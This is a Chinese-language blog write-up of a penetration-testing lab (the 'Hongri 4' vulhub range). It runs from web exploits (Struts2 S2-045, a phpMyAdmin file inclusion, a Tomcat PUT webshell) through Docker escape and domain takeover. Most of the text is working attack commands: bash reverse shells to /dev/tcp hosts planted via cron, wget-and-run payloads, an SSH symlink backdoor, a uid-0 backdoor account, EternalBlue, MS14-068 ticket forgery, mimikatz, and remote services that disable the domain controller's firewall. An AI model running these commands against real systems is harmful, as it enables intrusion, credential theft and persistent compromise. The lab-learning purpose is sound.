SugarCrash!

记录学习,想找个师傅带带我

0%

红日四

实战于2021.9

考察
strusts2/s2-045漏洞利用
phpmyadmin getshell
tomcat 漏洞利用
docker逃逸
ms14-068
ssh密钥利用
流量转发
历史命令信息泄露
域渗透

启动

1
2
3
4
5
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 
docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/ docker-compose up -d

启动好之后,用kali做一个存活扫描

1
nmap -T4 -A 192.168.135.5 -p 1-65535 -oN nmap.A


struts2 找到路径上传冰蝎马,连接成功

1
2
3
4
5
6
7
phpmyadmin未授权 4.8.1文件包含 
漏洞影响 phpMyAdmin 4.8.0和4.8.1受到影响。
漏洞利用
利用条件:需要账号密码或者config模式
利用payload:
访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,
可见/etc/passwd被读取


tomcat put写文件burp抓包修改头
PUT /shell.jsp/ HTTP/1.1
下面放冰蝎马,204的话就是上传成功了直接连就行了

docker逃逸

判断是否为docker环境
1、使用下面命令,查看是否存在 dockerrnv 文件
ls -alh /.dockerenv
2、查看系统进程的cgroup信息
cat /proc/1/cgroup

1
2
3
4
5
6
7
挂载宿主机 
当docker容器内拥有宿主机文件读写权限时,可以通过写ssh密钥、计划任务等方式达到逃逸。
查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内
/test: mount /dev/sda1 /test
即可写文件获取权限或数据
1
2
3
4
fdisk -l 
mkdir /test
mount /dev/sda1 /test
ls /test

写入一个反弹shell脚本

1
2
3
4
5
6
7
8
9
10
11
touch /test/tmp/test.sh 
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo "#!/bin/bash" >> /test/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.10.4/10011 0>&1" >> /test/tmp/test.sh

cat /test/tmp/test.sh

sed -i '$a\/bin/bash -i >& bash -i >& /dev/tcp/192.168.10.4/10011 0>&1' /test/tmp/test.sh

cat /test/tmp/test.sh
1
2
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab 
cat /test/etc/crontab


权限维持

ssh软连接后门
原理 软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su, 这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su), 然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

1
2
ln -sf /usr/sbin/sshd /tmp/su 
/tmp/su -oPort=888


后面ssh软连接进去是普通权限,不会怎么提权,换了篇文章,思路是生成个elf先让他上线,当然上线的是docker里面没有 任何作用
CVE-2019-5736 docker逃逸exp

安装go环境 https://www.cnblogs.com/sch01ar/p/7625607.html

1
2
3
4
5
6
wget -c https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz 
tar -C /usr/local/ -xzf go1.8.3.linux-amd64.tar.gz
vim /etc/profile
source /etc/profile

go version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
进入poc的文件夹
vim main.go
修改payload为:
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.31.96/6667 0>& 1"
编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
编译出一个main的文件利用meterpreter上传到docker的home下
upload /root/CVE-2019-5736 /home
kali监听 nc -lvp 6667
他娘的坑爹玩意儿没反应,
查阅资料,原来是要等受害机重启docker触发payload
执行一个
这个09是看docker ps 对应的tomcat前两位
docker exec -lt 09 /bin/sh




1
2
3
4
5
6
7
利用–privileged特权模式逃逸 
利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制
新建一个/hack目录用来挂载文件:
mkdir /hack
ls /dev
mount /dev/sda1 /hack
ls /hack
1
2
3
4
5
6
7
8
9
10
ls /hack/home 
看一看隐藏文件.ssh文件夹
ls -alh /hack/home/ubuntu
kali创建hack.pub
ssh-keygen -f hack
chmod 600 hack
cat hack.pub
新建一个key.sh
vim key.sh
echo '写自己的hack.pub'
1
2
3
4
5
cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys 
echo '' > /hack/home/ubuntu/.ssh/authorized_keys
cat /hack/home/ubuntu/.ssh/authorized_keys

python -m SimpleHTTPServer 80 开启web投递
1
2
3
4
5
6
7
8
9
10
到冰蝎里 
wget http://192.168.135.4/key.sh
chmod 777 key.sh
./key.sh
ls -alh
/hack/home/ubuntu/.ssh 检查写进去没有
cat /hack/home/ubuntu/.ssh/authorized_keys 用自己的私钥登录
ssh -i hack ubuntu@192.168.135.5
登录成功,
看ip a 发现一个183网段

1
2
3
4
5
同样的web投递一个elf马 
wget http://192.168.10.4/shell.elf
chmod 777 shell.elf
./shell.elf
msf上线

1
2
sshuttle -vr ubuntu@192.168.135.5 192.168.183.0/24 --ssh-cmd "ssh -i ./hack" 
ssh隧道代理
1
2
ew_master代理 
upload root/tools/ew_master/ew_for_linux64 /home/ubuntu

1
2
ubuntu开启 
nohup ./ew_for_linux64 -s ssocksd -l 1080 &

1
2
添加 uid 0 用户后门 
useradd -p `openssl passwd 123456` -o -u 0 hacker
1
2
3
4
5
6
7
8
这次终于是主机上线了 
然后就是正常的步骤做就行了
run get_local_subnet
arp -a 扫到183网段
设路由
run autoroute -s 192.168.183.0/24
run autoroute -p
background

1
2
3
4
5
6
7
8
9
10
11
12
13
14
做存活扫描 
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run
也可以用smb扫
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.183.0/24
set threads 5
run
扫永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010 set
rhosts 192.168.183.129-130
run


1
2
3
4
5
6
7
8
9
10
11
12
这里设置ew代理的时候 kali本机的vin /etc/pro那个文件要填ubuntu的地址并且改成socks5 

msf里
setg Proxies socks5:192.168.31.127:1080 ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.129
set lport 4444 set AutoRunScript post/windows/manage/migrate
自动进程迁移

run
打进192.168.183.129

内网信息收集常用命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ipconfig /all   # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net group "Enterprise Admins" /domain // 查看域管理员组

mz64.exe运行

1
2
利用ms14-068伪造票据 
ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码
1
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

运行mimikatz.exe

1
2
mimikatz # kerberos::purge     //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 
mimikatz # kerberos::list //查看当前机器凭证 mimikatz # kerberos::ptc <生成的票据文件> //将票据注入到内存中

1
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.135.4 lport=6688 -f exe dd.exe
1
upload dd.exe > C:\Users\douser\Desktop


1
2
shell 
cd C:\Users\douser\Desktop

1
2
3
4
5
6
7
8
9
10
生成一个msf马 
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.31.96 lport=6688 -f exe -o dd.exe
监听
use exploit/multi/handler
set Proxies socks5:192.168.135.4:1080
set payload windows/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 6688
set AutoRunScript post/windows/manage/migrate
run
1
2
3
4
5
6
7
8
9
10
11
12
查看域控 
net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

关防火墙
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

传到域控
copy dd.exe \\WIN-ENS2VR5TR3N\c$
sc \\WIN-ENS2VR5TR3N create dshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start dshell

上线传猕猴桃 执行
run persistence -X -i 5 -p 4000 -P windows/meterpreter/bind_tcp
执行猕猴桃,抓密码开3389登录拿下